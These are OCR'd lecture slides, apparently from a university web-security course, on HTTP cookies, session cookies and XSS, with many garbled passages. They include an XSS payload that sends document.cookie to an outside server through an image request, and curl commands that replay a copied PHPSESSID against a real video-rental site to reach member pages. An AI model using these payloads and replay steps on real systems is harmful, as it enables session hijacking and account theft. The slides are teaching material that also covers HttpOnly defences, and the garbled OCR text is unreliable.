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Why Cookie?

Telnet/SSH HTTP

TCP Session One TCP Session  Many TCP Sessions
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Time

.669538
.672956
.672998
.989276
.989477
.991121
.991239
.165594
.195894
.197673
.198057
.409438
. 606651
.612921
.613065
.813426
.161196
.169112
.170231
.373411
. 943406
.945235
.945813
10.1533..
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Source
10.43.67.77

140.112.218.

10.43.67.77

140.112.218.

10.43.67.77

149.112.218.

10.43.67.77

140.112.218.

10.43.67.77

149.112.218.
149.112.218.

10.43.67.77
10.43.67.77

149.112.218.
149.112.218.

10.43.67.77
10.43.67.77

149.112.218.
149.112.218.

10.43.67.77
10.43.67.77

149.112.218.
149.112.218.

10.43.67.77

Demo
x telnet 140.112.218.254

Telnet

Only One TCP Session

245

245

245

245

245

245

245
245

245
245

245
245

Destination

140.112.218.

10.43.67.77

140.112.218.

10.43.67.77

140.112.218.

10.43.67.77

1460.112.218.

10.43.67.77

140.112.218.

10.43.67.77
10.43.67.77

140.112.218.
140.112.218.

10.43.67.77
10.43.67.77

140.112.218.
140.112.218.

10.43.67.77
10.43.67.77

140.112.218.
140.112.218.

10.43.67.77
10.43.67.77

14@.112.218.

245

245

245

245

245

245
245

245
245

245
245

245

Protocol
TCP
TCP
TCP
TELNET
TELNET
TELNET
TELNET
TCP
TELNET
TCP
TELNET
TCP
TELNET
TCP
TELNET
TCP
TELNET
TCP
TELNET
TCP
TELNET
TCP
TELNET
TCP

Length Info
66 49388 > 23 [SYN]
60 23 » 49388 [SYN,
54 49388 » 23 [ACK]
60 Telnet Data
57 Telnet Data
99 Telnet Data
57 Telnet Data ...
60 23 - 49388 [ACK]
55 Telnet Data
60 23 » 49388 [ACK]
60 Telnet Data
54 49388 » 23 [ACK]
55 Telnet Data
60 23 » 49388 [ACK]
60 Telnet Data

-+
Eg :Ziizt Djia[m‘ Wireshark - Follow TCP Stream (tcp.stream eq 0) -
6@ 23 » 49388 [ACH
60 Telnet Data
54 49388 » 23 [ACH
56 Telnet Data
6@ 23 » 49388 [ACH
66 Telnet Data
54 49388 » 23 [ACH

Seq=0 Win=8192 Len=0 MS5=1460 WS=4 SACK_PERM
ACK] Seq=0 Ack=1 Win=40960 Len=0 M55=1386
Seg=1 Ack=1 Win=16632 Len=0

Seq=49 Ack=7 Win=40960 Len=0
Seq=49 Ack=8 Win=40960 Len=0
Seq=8 Ack=50 Win=16583 Len=0

Seq=50 Ack=9 Win=40960 Len=0

User Access Verification

.. .aabbcc

HA B {0y

Username:

Password:



SSH
Only One TCP Session

ip.addr==163.28.17.165|

. Time tcp.stream| Source Destination Protocol  Length Info

595 6.223389 221192.168.0.2 163.28.17.165 TCP 54 55081 - 22 [ACK] Seqg=1 Ack=1 Win=66560 Len=0
596 6.286645 221163.28.17.165 192.168.0.2 SSHv2 75 Server: Protocol (SSH—Z.@—OpenSSH_5.3)
597 6.290415 22|1192.168.08.2 163.28.17.165 S5Hv2 82 Client: Protocol (SSH—2.B—PuTTY_Release_@.EQ)
598 6.290632 221192.168.0.2 163.28.17.165 TCP 566 55081 - 22 [PSH, ACK] Seq=29 Ack=22 Win=66560 Len=51:
599 6.299683 22 192.168.9.2 153 20 .‘1_," 1£0 CCTLT 107 Flaant:s Fravr Cvrhaneaa Trhad
M Wireshark - Follow TCP Stream (tcp.stream eq 22) - ssh_163.28.17.165_tcp_stream_22.pcapng — O
608 6.295451 221163.28.17.165 192
601 6.295455 221163.28.17.165 192 sSSH-2.0-0OpenSSH_5.3
602 6.298513 221163.28.17.165 192 SSHiz.@—P;TTYiRe%_?ase_@.62
..... w=.&...3..(T..
603 6.298835 221192.168.0.2 163 ..diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-shal,diffie-hellman-group
604 6.303646 221163.28.17.165 192 14-shal,diffie-hellman-groupl-shal,rsa2048-sha256,rsal@24-shal....ssh-rsa,ssh-dss....aes256-ctr,a
608 6.442584 221192.168.0.2 163 es256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,blowfish-ctr,bl .
owfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfourl28....aes256-ctr,aes256-cbc,rijndael-cbc@lysator.
609 6.442623 221192.168.0.2 163 liu.se,aesl92—ctr',aesl92—cbc,ae5128—ctr‘,ae5128—cbc,blowfish—ctr‘,blowFish—cbc,3des—ctr‘,3des—cbc,ar‘
613 6.465752 221163.28.17.165 192 cfour25e,arcfourl28....hmac-shal,hmac-shal-96,hmac-md5....hmac-shal,hmac-shal-96,hmac-md5. .. £
none,zlib... none,zlib................ s~J...D
Boe Eofesis S e de2 .1=...3.4..7..C.I...~diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-shal,diff
625 6.615160 22]1152.168.0.2 163 ie—hellman—gr‘cupl4 shal,diffie-hellman-groupl-shal....ssh-rsa,ssh-dss....aes128-ctr,aesl192-ctr,ae
626 6.619979 221163.28.17.165 192 s256-ctr,arcfour256,arcfourl28,aesl128-cbc, 3de5—cbc,blowfish—cbc, castlZS—cbc,aesl92—cbc, aes256-cbc
,arcfour,rijndael-cbc@lysator.liu.se....aes128-ctr,aes192-ctr,aes256-ctr,arcfour25s6,arcfourl28,ae
627 6.619982 221163.28.17.165 192 s128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aesl192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu
b46 6.820656 221192.168.0.2 163 .se....hmac-md5,hmac-shal,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd16@,hmac-rip
686 9.262906 221192.168.0.2 163 emd16@@openssh.com, hmac-shal-96,hmac-md5-96....hmac-md5, hmac-shal,umac-64@openssh.com, hmac-sha2-2
56,hmac-sha2-512,hmac-ripemd160, hmac-ripemd160@openssh.com,hmac-shal-96,hmac-md5-96....none,z1ib@
687 8.274408 221163.28.17.165 192 openssh.com. ...none,z1lib@openssh.Com.......cccvveieennnertosansnrasannses ) cocoscoosccoscoosco G1KSu9. .
688 8.274919 221192.168.8.2 163 . .d..%. QmZ.!....$.w'{.. gs.. .....'...R.yZ..F ..... 1y
] a'..d".B......v. ..@.1.P.:.K. q....w.m.....,.b.l.w
~ bE f .a..@.p..# G. $ H1+ <C. P# q. LANL L [HLL Ly HL L tg.l..Yit....5rY.:...Q..1.v8,
N.(Q.;...*(.t...".V.\ St T=o oW 7{ k (.-.p--wlg..a.L.X. .Kj.4+..... @-:...86....T.1..d.M
Le..g 4020060 <.T ....... G...\..l( ...... Guovuunn |<?t%.v....3
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HTTP (www.ntu.edu.tw)
Many TCP Sessions

Time
1 0.800000
2 0.000104
3 0.800364
41 0.000423
5 0.800453
6 0.000492

No.

tcp.stream

i L I i

Source

172.
172.
140.
172.
140.
172.

16.0.102
16.0.102
112.8.116
16.0.102
112.8.116
16.0.102

Destination

140.
140.
172.
140.
172.
140.

112.8.116
112.8.116
16.0.102
112.8.116
16.0.102
112.8.116

Protocol Length Info

TCP
TCP
TCP
TCP
TCP
TCP

66 52159 - 8@
66 52160 - 80
66 8@ -» 52159
54 52159 » 80
66 80 » 52160
54 52160 » 80

[SYN]
[SYN]
[SYN,
[ACK]
[SYN,
[ACK]

Seq=0 Win=64240 Len=0 MS55=1460 WS=256 SACK
Seq=0 Win=64240 Len=0 MS5=1460 WS=256 SACK
ACK] Seq=0 Ack=1 Win=8190 Len=0 MS5=956 WS
Seq=1 Ack=1 Win=262656 Len=0
ACK] Seq=0 Ack=1 Win=8190 Len=0 MSS=956 WS
Seq=1 Ack=1 Win=262656 Len=0

54 52161 » 443 [ACK] Seq=1 Ack=1 Win=262656 Len=0
1810 Client Hello (SNI=www.ntu.edu.tw)
60 443 - 52161 [ACK] Seg=1 Ack=1757 Win=128512 Len=0
147 Hello Retry Request
60 Change Cipher Spec
54 52161 » 443 [ACK] Seq=1757 Ack=100 Win=262656 Len=0
624 Change Cipher Spec, Client Hello (SNI=www.ntu.edu.tw)
60 443 » 52161 [ACK] Seq=100 Ack=2327 Win=128000 Len=0
214 Server Hello
1010 443 -» 52161 [PSH, ACK] Seq=260 Ack=2327 Win=128000 Len=956

9 0.014534
10 ©.014890
11 ©.015470
12 ©.015470
13 ©.0815518
14 ©.015527
15 ©.015712
16 ©.016088
17 ©.017118
18 ©.017233

[ LI ST SR I N S SR SR S

172.
172.
140.
140.
140.
172.
172.
140.
140.

140.

16.0.102
16.0.102
112.8.116
112.8.116
112.8.116
16.0.102
16.0.102
112.8.116
112.8.116
112.8.116

140.
140.
172.
172.
172.
140.
140.
172.
172.
172.

112.8.116
112.8.116
16.0.102
16.06.102
16.06.102
112.8.116
112.8.116
16.0.102
16.0.102
16.0.102

TCP
TLSv1.3
TCP
TLSv1.3
TLSv1.3
TCP
TLSv1.3
TCP
TLSv1.3
TCP



Cookie T&%8
+ Normal Cookie: C.85%{tE FH & FHE &1

x Save @Browser Only
x BZGREEOK: K
x NZEEGIE: HttpOnly, Secure, SameSite
x ZE
« PREIERBIE L
x IHEET G S
« IEVECREALT)
x sC(EBAMRTR
+ Google Analytics 414 E 2= 0%
« BEES - HPEHE
+ LoginSession Cookie: R5E5 A ~ FE[RIE
x Save @Browser + Web Server

« HZHEEEOK: S

x JEEEEY 7E: HttpOnly, Secure, SameSite

6



Cookie Check



Browser

+ Chrome: F12: Application > Storage > Cookies

ik [0 Elements Console Sources Network Performance Memory | Application | Privacy and security Lighthouse  Recorder
& C Y Filter =x X [ Onlyshowc
» BB Local storage Name v Value Domain Path Expires / Max-Age
» EH Session storage font_size m www.edu.tw / Session
B8 Extension storage _gid GA1.1.1098551352.1754372558  www.edutw  / 2025-08-06T05:42:49.000Z
B IndexedDB _gat_gtag UA 60784564 1 1 www.edu.tw / 2025-08-05T05:43:38.0007
_ga_KBT2PDEDRK 6S2.1.517543725585018g1$t175... wwwedutw  / 2026-09-09T05:42:49.6557
@l https:/fwww.edu.tw _ga GAT.1.611368426.1754372558 www.edu tw / 2026-09-09T05:42:38.026Z
@ httpsy/static.addt.. | _ga GA1.1.611368426.1754372558  www.edutw  / 2026-09-09T05:42:49.744Z
@ https://www.face... LE_www.edu.tw 2970513292.47873.0000 www.edu.tw / Session
R T ASPNET_Sessionld sz5gbwy5pojmgj31bvopfkbd www.edutw ! Session

+ Firefox: F12: Storage > Cookies

(W O Inspector () Console [ Debugger 1| Network {} Style Editor () Performance {J Memory [E) Storage T Accessibility &

» E Cache Storage % Filter ltems
hd E Cookies Name Value Domain Path Expires / Max-Age
@ https://static.addtoany.com _ga_KBT2PDEDRK (G52.1.51754301397503%g0%t175...  www.edutw / Tue, 08 Sep 2026 09:56:37 GMT
_gat_gtag_UA_60784564_1 1 wwwedutw / Mon, 04 Aug 2025 09:57:37 GMT
_ga GA1.1.1088547559.1750391431 wwwedutw Sat, 25 Jul 2026 03:50:31 GMT
» [B Indexed DB
_ga GA1.1.1088547559.1750391431 wwwedutw / Tue, 08 Sep 2026 09:56:37 GMT
> B Local storage _gid GA1.1.148895339.1754301398 wwwedutw  / Tue, 05 Aug 2025 09:56:37 GMT
» E Session Storage ASPNET Sessionld pya3mdgOhvcz3e5tx5nlgiwh www.edutw [/ Session
font_size m www.edutw  / Session
LB www.edu.tw 2953736076.47873.0000 www.edutw / Session



Website Cookie Check

+ Nhttps://www.cookieyes.com/cookie-checker/
Free Website Cookie Checker

Use our instant cookie checker tool to check cookies on your website and generate a

detailed cookie audit report in seconds.

& https://www.edu.tw Check cookies

+/ Freeforever «/ Instantreport +/ No email required
SCAN REPORT

httpS://WWW.edu.tW D copy scan report

GENERATED ON 2025-06-20 03:32:56 GMT

Necessary @ 1 Advertisement @O 3
]] ® Analytics @ 4 Functional @ 0
Cookies (in total) ‘ ® pPerformance @ 0 Other 3




Cookie

LB_www.edu.tw

_ga_*

_ga

_gid

_gat_gtag_UA_*

font_size

ASP.NET_Sessionld

YSC

Domain

www.edu.tw

www.edu.tw

www.edu.tw

www.edu.tw

www.edu.tw

www.edu.tw

www.edu.tw

youtube.com

Description

Google Analytics sets this cookie to store and count page views.

The _ga cookie, installed by Google Analytics, calculates visitor,
session and campaign data and also keeps track of site usage
for the site's analytics report. The cookie stores information
anonymously and assigns a randomly generated number to
recognize unique visitors.

Installed by Google Analytics, _gid cookie stores information on
how visitors use a website, while also creating an analytics
report of the website's performance. Some of the data that are
collected include the number of visitors, their source, and the
pages they visit anonymously.

Google Analytics sets this cookie to store a unique user ID.

Issued by Microsoft's ASP.NET Application, this cookie stores
session data during a user's website visit.

YSC cookie is set by Youtube and is used to track the views of
embedded videos on Youtube pages.

10

Duration

session

1 year 1 month 4 days

1year  month 4 days

1 day

1 minute

session

session

session

Type

Other

Analytics

Analytics

Analytics

Analytics

Other

Necessary

Advertisement



Website Cookie Check

SCAN REPORT

https://24h.pchome.com.tw/ O Copy scan report

GENERATED ON 2025-06-20 03:41:49 GMT

Necessary 4 ° Advertisement
69 ’ 2
@® Analytics © n Functional @ 0

Cookies (in total)
. ® Performance @ 0 Other 32

11



Normal Cookie
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Normal Cookie

= =h——
/l = Zz 1/INAA =3
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+ https://www.oml-railbike.com

&« C 2z oml-railkike.com

A\
 —
lm

A\ TH E =h =—
= In\ | NAA =3
“ C 2z oml-railbike.com

gl & B E B 1T

0ld Mountain Line Rail Bike

€« C m oz oml-railbike.com

0ld Mountain Line

Rail Bike

IH L &% 8% % B iz

0ld Mountain Line Rail Bike

< C M oz oml-railbike.com

FAA @ Qvpol 2
0ld Mountain Line Rail Bike

+ F12: Application > Cookies

lang=tw, en, jp, kr

ik [0 Elements Console Metwork  Sources M

FoEE SERMUN SLOTEYE
¢ BB Edension storage
B IndexedDE
* (3 Cookies
@l https:/fwweee. oml-railbike.com I
B Private state tokens

o T

emory  Performance | Application
& T Filter
Mame Value
alert-w true

0585d8920bfe23d6c2 81 2351 634 f8e
[lang ke |
PHPSESSID  [SvadBausdptsifelfobpfcoqh

14

Privacy and security

Dormain

www arml-railbike. com
wwew.oml-railbike.com
www arml-railbike. com

www . orml-railbike.com

b

Langnage
English

Lighthouse  Recorder

Path
;

!
!
!

[ Only show cookies with an issu

Expires / Max-Age

Session
2025-06-15T07:31:27 0242
[2025-06-15T07:35:15.005Z |

Session 2AHr ﬁ‘;‘g&




Normal Cookie
BB B (k2 A )




e

MNT$ 1,600 7T

ANA BE4NEE

axE
HE 4 E

+ https://online.ntuspecs.ntu.edu.tw/ # = w==o  |[0@0=0

ABEEE

MT$ 2,200 75

A0 B4 E

+ F12: Application > Cookies

ik [0 Elements Console Metwork
b EH Extension storage

B IndexedDE

- @) Cookies

> hitps/fonlinentuspecs.ntu. edu tw

L T .

i

Sources  Memory
(3 T Filter
Marne WValue

A

Performance Privacy and security

A 2R E JF D EERRnET
“i B FEEE SR AT
ﬁ & E3E NTF 3200 7T

pra S ) ME
R B B
BA{@: NT§ 2,500 75
IS i BIE 1

F1E/v5 NT$ 6,000 7T

Demain Fath

Mop Custorner

O7caBldB-052e-46Th-a241-4. .| onlinentuspecs.ntu.edutw [

Mop Antiforgery  CFDIBCOR3IOMDCMECESmZF.. onlinentuspecs.ntuedutw

16

Lighthouse  Recorder

:: [ Only show cookies with an iss

Expires /.. & !

Session —A‘/EE‘E&_\‘&



Normal Cookie

R0 1T & AMRSRE




MOMO &4
SDEF RN

* https://www.momoshop.com.tw/
+ [ Cookie sC#k" B AIRSE"
*  CK_mlu=“MDkxODEwWMzYyNg==
+ Base64 Decode
x https://www.base64decode.org/
+ Result: 0918103626

stwork E.cuu rces

G Filter

Mame

ar_debug

flosr_ 49494517

receive-cookie._.

Performance Memory  Application

Value

1

zk24xQztRa5Q_mahDxmr2WIisQKIPHO ..

1

Rl

MOMmMOEnREssEA

‘ 0318103626

I

=)

S ERS AR

GO FcAIMRE

-0470...
-1070...

Security Lighthouse Recorder J§
Sk ¥ [0 Only show cookies w
Domain Pa.. Expires/Max. &
doubleclick.net / 2024-06
www.momeshop.c.. 2024-06
creativecdn.com / 2024-07

-04T1 ...

_fop flb.2.1890672012004.117250471 cartmemoshopc.. [/ 2024-07-18T0...
_gcl_aw GCLAT13577131 CiwKCAjwrlixBhBbEWAC... .momoshop.comiw 2024-07-19T0...
fr 1zaidcIDEFIvh 1 rs AW UZOS98BPITYSLNTy...  facebook.com J 2024-08-03T0...
_fop fb.3.1691367447161 284852323 swwemomoshop.... [/ 2024-08-03T0...
[ ck_mlu "MDkxODEwMzY¥yhg== www.momeoshop.c... /  2024-08-03T0..]
_mwa_uniCam... 1707302518980650093.1707302518580 momoshop.comiw / 2024-08-05T1...
MOCO1gpYnM... 1 momoshop.comtw  / 2024-08-05T1...

A_a

LI I o el Wt ol o N, DRI . B Y IR T

£ __IL

i’ AnTA S
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MOMO &4 4
S0 EFEF IR IR

+ [ Cookie B 17 H X BEEE5HE
+ EEELYERE: 123456789

+ Base64 Encode: MTIzZNDU2Nzg5
+ https://www.base64encode.org/

MOMO ER/REA

MRS 123456789

S AVEES

BHE 6-15UHETESE

n}

D

1
¥
A3
(Aol

|

i
A

SERAIIESE

19



Normal Cookie
Google Analytics

et Bl BRo ik
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Google Analytics

+ https://www.edu.tw/

ik [0 Elements Conscle Sources  Memory Performance  Application  Privacy and security Lighthouse  Recorder
E IndexedDB Y Filte S

Only show cooldes with an issue
~ (7Y Cookies

Value Domain ; (pires ¥-A. | Size | HttpOnly |Secure | SameSite
@ https:/fwwwedutw : GA1.1.1355562615.1750164602 | wwwedutw | : 2 30

> https/fwww.facebook ... : GA1.1.1355562615.1750164602 | wwwedutw | : > . 30
B Private state tokens _ga_KBT2PDEDRK G52.1.517501646025013g0%t17... | wwwedutw || g ) 59
£ Interest groups _gat_gtag_UA_60784564 1 |1 wwwedutw || : 1 . 24

Shared storage _gid GA1.1.692101671.1750164602 | wwwedutw |, : .| 30

+ FH Browser JavaScript =4 .(Not Server)

+ TH=¢ Not Checked
+ HttpOnly, Secure, SameSite

21



Google Analytics

SmsrER V4
EFEE Braa 25 ID
demo3.buda.idv.tw https://demo3.buda.idv.iw 11355078420
aFfh 1D

G-KXYQJLOMDP U

LPRHE <head> JTEZR 1%
<l-- Google tag (gtag.js) ->

<script async src="https://www.googletagmanager.com/gtag/js?id=G-
KXYQJLOMDP"></script>

<script>

window.datalLayer = window.datalLayer | | [];
function gtag(){datalLayer.push(arguments);}
gtag('js', new Date());

gtag('config’, 'G-KXYQJLOMDP');

</script>

22



Google Analytics

Cookie
+* https://demo3.buda.idv.tw

k& [0 Elements Console Network Sources Memory Performance  Applicatio Privacy and security Lighthouse Recorder

EH Extension storage A
B IndexedDE
- 'l:} Cookies

Y https//demo3.buda.idv.tw

T Filter % Only show cookies with an issue

Marne Walue Domain Fath ires .| BIZE 20 ly Samesite
_ga GA1.1.311 1749981054 | budaidwvtw |/

ga JLOMIDE | ¢ 21740981 054%01$g90%t1 ... | buda.idvibw |/

iK [0 CFElements Console Network Sources Memory Performance Application  Privacy and security Lighthousg
@ Y Q Preserve log Disable cache Nothrotting ~ = | & %
Y Filter Invert More

20 ms 80 ms 160 ms 200 ms 22

Name Status Domain v | Type Initiator

[ js?id=G-KXYQILOMDP 200 www.googletagmanager.com | script (index):201
[ collect?v=28&tid=G-KXYQILSMDP&... | 204 www.google-analytics.com fetch j82id=G-KXYQILIMDP:201

+ [ Browser JavaScript zZ=4=.(Not Server)

+ TH=% Not Checked
+x HttpOnly, Secure, SameSite

23



LoginSesson Cookie
RIS ~ FEIRIE

Login Credentials

24
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What is LoginSession Cookie?

Find LoginSession Cookie & FIRZE A
E22E A Command Line Browser
A5 R 972

+ 1721 i3 Browser Cookie

« J7:52. BT Browser &g

« J7£3: Click “BH" (52{E)
LoginSession + Extra Cookie

+ Cluster/Load Balance ZEf%

* WAF for CSRF

LoginSession Cookie Best Practice

A
él:l 1]

+ Normal vs. LoginSession Cookie
x /%H Cookie HYH Sl & EAE?

=

25



LoginSession Cookie

For Login Credentials.
One and Only One.

Server Ui 5#EE: Cookie 1H

+ {1 Cookie Attributes only for Browser to Control the cookie >
Bl o A

—{[& Cookie B] FLaF AL E [FRE S A » Server UmiE[R
1 (4 AP SRR

« PRIFEZESMIN_EFRGIFREE > 40: Client IP, User Agent ...
One LoginSession Cookle o[ jA Server ImsC 8% 2%4H Key
Pairs ﬂ@ﬁﬁa@ﬁﬁ HE 7

+x User ID
+ Client IP
+x User Agent (Browser Version)

* [N

26



How to Find LoginSession Cookie?

* Cookie Attributes

* Name:
x ASP.NET_Sessionld, PHPSESSID, JSESSIONID, *SID, *SESSION_ID

x Attribute: 41 NME A2 E Enable
+ HttpOnly, Secure, Samesite

« Path: /
* When to Create

+ Created by WebServer(Response Cookie), Not Browser(Request
Cookie)

+ Yo EE4E LoginSession Cookie 7777
+ Methodl. & AZ=1H » g ARZ 1% Submit £ H

+ Method2. EFHE. 5 A URL 45
x https://my.ntu.edu.tw/assetManagement/consumables.aspx

. BT
+ [ ] LoginSession Cookie IR =E
+ fiHIBR or B % Cookie {H > Reload HH, e S & ot

27



XSS Demo



Demo

+ Nhttp://demo3.buda.idv.tw/php/login/login.php
+ Password: 54321

login: | davis01 |

passwd:| |

| 123 |

+ http://demo3.buda.idv.tw/php/login/login_ok.php
{FEHAE: davis0l @ BEERINE A RR!

HTEE

%E: | bk |

logeut T
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XSS Test

* lestl
<script>alert('hi')</script>

* lest2
<iframe />

30



XSS Test

+* lest3. iframe YouTube
3 Youlube ks

X
' 00Q0 e
L V)

# A Facebook — WhatsApp X FREFH  KakacTalk
HE

Yo}
I

{5 438

A X

<iframe width="568" height="315"
src="https://www.youtube.com/embed/
QuuPsnSPVsB?si=t190bATfkLOUNYId"
title="YouTube video player"
frameborder="6"
allow="accelerometer; autoplay;
clipboard-write; encrypted-media;
gyroscope; picture-in-picture; web-
share"” referrerpolicy="strict-

oriain-when-cross-oriain" \

i
pil



A HY Cookie Test

x Testl. B RINEH
<script>alert(document.cookie)</script>
+ Test2. {H1% 2 i8lx Server
<script>
const img = new Image(100, 200);

Img.src = 'https://demo.davis.cc.ntu.edu.tw?' +
encodeURI(document.cookie);

document.body.appendChild(img);

</script>

+ Check Result @demo.davis.cc.ntu.edu.tw
~# tail -f /var/log/apache2/access.log

32



F12:

Cookie 1

I

+ Add New Cookie:PHPSESSID

Elernents Conscle

‘X [0
Storage -
» EH Local storage
» BH Session storage

B Index=dDB
v (Y Cookies

Y http://demo3 . buda.idvtw
@ Frivate state tokens
B Interest groups

» B Shared "tDI-EIgE
(=" e o

+ New PC Open

22N

(I

N\

32X
=

X

A

Metwork  Sources  Performance  Memory | Application | Security Lighthouse  Recorder J Pe
C |[Filter i [ Only show cookies with an
Mame & Value Domain Fath  Expires / IMax-Age
I PHPSESEID h2h18b7mmvohrubeoluauvs23d | demod.budaidvitw Session

__utma 184194357.173538976.17124111... _buda.idwviw / 2025-05-22T01:4%:31.315Z
__utmz 184194357.1712411104.1 Lutme...  .budaidvtw / 2024-10-16T13:48:31.000Z

cookie? 1234 demo3. budaidvtw [/ 2024-05-03T03:4A7:16.8717F
mycockiel 1234 demo3.budaidvitw |/ 2024-05-03T01:0%2:20.749Z
temp3 10 demo3 budaidviw  / 2024-12-18T12:00:00.000Z
tempd 10 buda.idv.tw ! 2024-12-18T12:00:00.000Z

* http://demo3.buda.idv.tw/php/Iogin/Iogin ok.php

EERINEA R

B &E: davis01 -

D=
~ R

o
=

If[;

Jl._p\

BE
If[;

E=3

logeut T



XSS #&BE 7k
Set httponly attr
x JTAL
+ Ubuntu 22.04: /etc/php/8.1/apache2/php.ini
+ Ubuntu 24.04: /etc/php/8.3/apache2/php.ini

+ session.cookie_httponly = 1
+ ~# systemctl restart apache2

x 752 HEHEX Browser Cookie

Mame Value Domain Path  Expires ..a Size |HttpOnly
PHPSESSID | alol12gtksh3dvps...  demo3budaidviw |/ Seszsion 35
demo3.buda.idv.tw 8T demo3.buda.idv.tw B

PHPSESSID=pvees013csulcbv4djdbg93ny

httponly =0 httponly = 1

34
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IR E A

Command Line Browser

<[]
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MRS A

Command Line Browser

A{rf{# A Command Line Browser 2%, » HNELFRIRZ S A
Z HHER

+ [ Chrome E4 cURL &)
* Chrome F12 Network

Name Open in new tab Copy URL
[ log_event?alt=json Copy as cURL (cmd) for WI ows
[ collect?v=28&tid=G-MTTWGEOYG... |ERSEEIRsIsIEE e .
. Copy as cURL (bash) for LI n
O ajax.php Clear browser cookies
collect?v=28tid=G-MTTWGEQYG... Copy as PowerShell

[ collect?tid=AW-114856793318e ..
D id

*

Open in Sources panel

Copy 3 Copy as fetch

Copy as fetch (Node js)

{i} Create

Block request URL

Block request domain Copy request headers

Copy response headers

Sort By ? Copy response

Header Options >
Copy all listed URLs

Override headers Copy all listed as cURL (cmd)

Override content e Al lietad me ~1 1B (lacky



MRS A

Command Line Browser

x J7751. (5 HTTP POST f2 LR
+ Stepl. POST E%X

« curl 'nttps://www.ivideo.com.tw/member/ajax.php' --data-raw
'L”d:YYY&de:ZZZ’ NET T X Headers Payload Preview Response |Initiator Timing Cookies

0 ajax.php ~ Form Data View source View URL-encoded
€ collect?v=2&tid=...

[ collecttv=2&tid=... =Yl N2C

x Step2. UE&E R}

+ curl https://www.ivideo.com.tw/member/mdfy_member.php

A N
« RN B Request &5 Fyfa 1780 T » A= IL= Cookies

—‘Ft.)..

Enﬂ

37



allF
O
N7/
N

¥ FH Chrome =4 cURL

+ Chrome F12 Network
+ iVideo: & 50 -> FHEECHE
ik [0 Elements Console | MNetwork . w

A—— Openin Sources panel
®m @ T.Q Preservelog = UJ Di: Open in new tab Copy URL
¥ Filter CopyascURL(emd) | for Windows
I 20,000 rns 40,000 ms Clear browser cache bach f ]
Copy as cURL (bash)
B Clear browser cookies i Llnux
Copy as PowerShell
Copy 3 Copy as fetch
Mame X Headers Copy as fetch (Node.js)
[E) show_rent_record php ¥ General Block request URL

Block request domain Copy request headers

Copy response headers

sort By ? Copy response

Header Options >
Copy all listed URLs

Override headers Copy all listed as cURL (cmd)

Override content Copy all listed as cURL (bash)

Show all overrides Copy all listed as PowerShell

Copy all listed as fetch
Save as...



ik
O
N7/
DH

{5 FH Chrome =4 cURL
iVideo 1H{& 50 &%

curl 'https://www.ivideo.com.tw/member/show_rent_record.php' \

-H 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=
0.8,application/signed-exchange;v=b3;q=0.7"' \

-H 'Accept-Language: zh-TW,zh;q=0.9,en-US;g=0.8,en;q=0.7" \

-H 'Cache-Control: max-age=0'\

-H 'Connection: keep-alive' \

-b 'PHPSESSID=ipkmcje3rktc4gjmpaofuevmrf' \

-H 'Referer: https://www.ivideo.com.tw/member/mdfy_member.php' \
-H 'Sec-Fetch-Dest: document' \

-H 'Sec-Fetch-Mode: navigate' \

-H 'Sec-Fetch-Site: same-origin' \

-H 'Sec-Fetch-User: ?1' \

-H 'Upgrade-Insecure-Requests: 1'\

-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/137.0.0.0 Safari/537.36' \

-H 'sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24" \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "Windows"'

39



iVideo A& 5C &%
cURL 1Bk
+ iVideo: & 5 b0, -> FHIE S 8%
« it Cookie

~# curl https://www.ivideo.com.tw/member/show_rent_record.php
+ g Cookie

~# curl -b "PHPSESSID=xxyyzz"
https://www.ivideo.com.tw/member/show_rent_record.php

40



BIREEA
Command Line Browser

*+ CURL
-b "cookie=xxyyzz“
2 cookie E=HNE! http request
-C, —cookie-jar <filename>
write cookies to a file.
+ Sqlmap
—-cookie=xxyyzz
+ ELK Heartbeat 4 E JH[=
headers:
'Cookie': '"ASP.NET_Sessionld=xxyyzz'

41



IRBEA

Command Line Browser

x 11,52 [ LoginSession Cookie (I

REDES

+ Stepl. POST EZX1% 1 Cookie 17EEAR

« curl 'https://www.ivideo.com.tw/member/ajax.php' --data-raw

'uid=YYY&pwd=277" -c cookie.txt

+ Step2. L LoginSession Cookie & HU{5 &}

« curl https://www.ivideo.com.tw/member/mdfy_member.php -b

cookie.txt
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=]
OIS

01 & MR ERE?
75551, MR Browser Cookie
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YN1a] & L MR 5

llB% Browser Cookie

* 1Video
+ https://www.ivideo.com.tw/
+ [ Browser Cookie

‘K [0 CElements Console Network Sources Memory Performance Application  Privacy and security Lighthouse R
» EB Extension storage & C Y Filter =x | X | O Only show cookies wi
& IndexedDB Name A Value Domain Path  Expires / Max-Age

* @ Cookies PHPSESSID  ipkmcje3rktcd4gjmpaofuevmrf  www.ivideo.com.tw  / Session

@ https://www.ivideo.com.tw

44



IECTEC N

fl

BA
5

=

+ MyNTU IR 2R
https://my.ntu.edu.tw/mattend/ssi.aspx

+ Find LoginSession Cookie: ASP.NET_Sessionld
+ M5 Browser Cookie

ik Lo Elements  Conscle

» BB Session storage “

@ Indexed DB
B websaL
v @} Cookies
@ httpsy/ my.ntu.edu.tw
@ Private state tokens
B Interest groups
» B Shared storage

Sources Metwork

G Filter
Mame
intutoken

_ga

_ga_WDLSMOGGZR

P - »

Performance Memory  Application Security

Value

D4EEDECATR1B2T1D2C213TERDBCA...

GA1.3.576858119.1691721963

G51.1.17045347824.1 5017049471884,

1 MR 57

Browser Cookie

Domain

my.ntu.edu.tw

ntuedutw

ntuedutw

Lighthouse Recorder 2 Perforn

S | X |J Only show cookies with an
Dellet’e Expires / Max-Age
f 2024-04-10T12:31:39.2..
2025-02-14T13:48:00.1..
2025-02- 1-1T31._=-E.2'4 2.

ASPMET Sessionld

vigtpibraxxbb540sz 1 ztiff

my.rtu.edu.bw

Seszion

_ga_TLe266MDLW

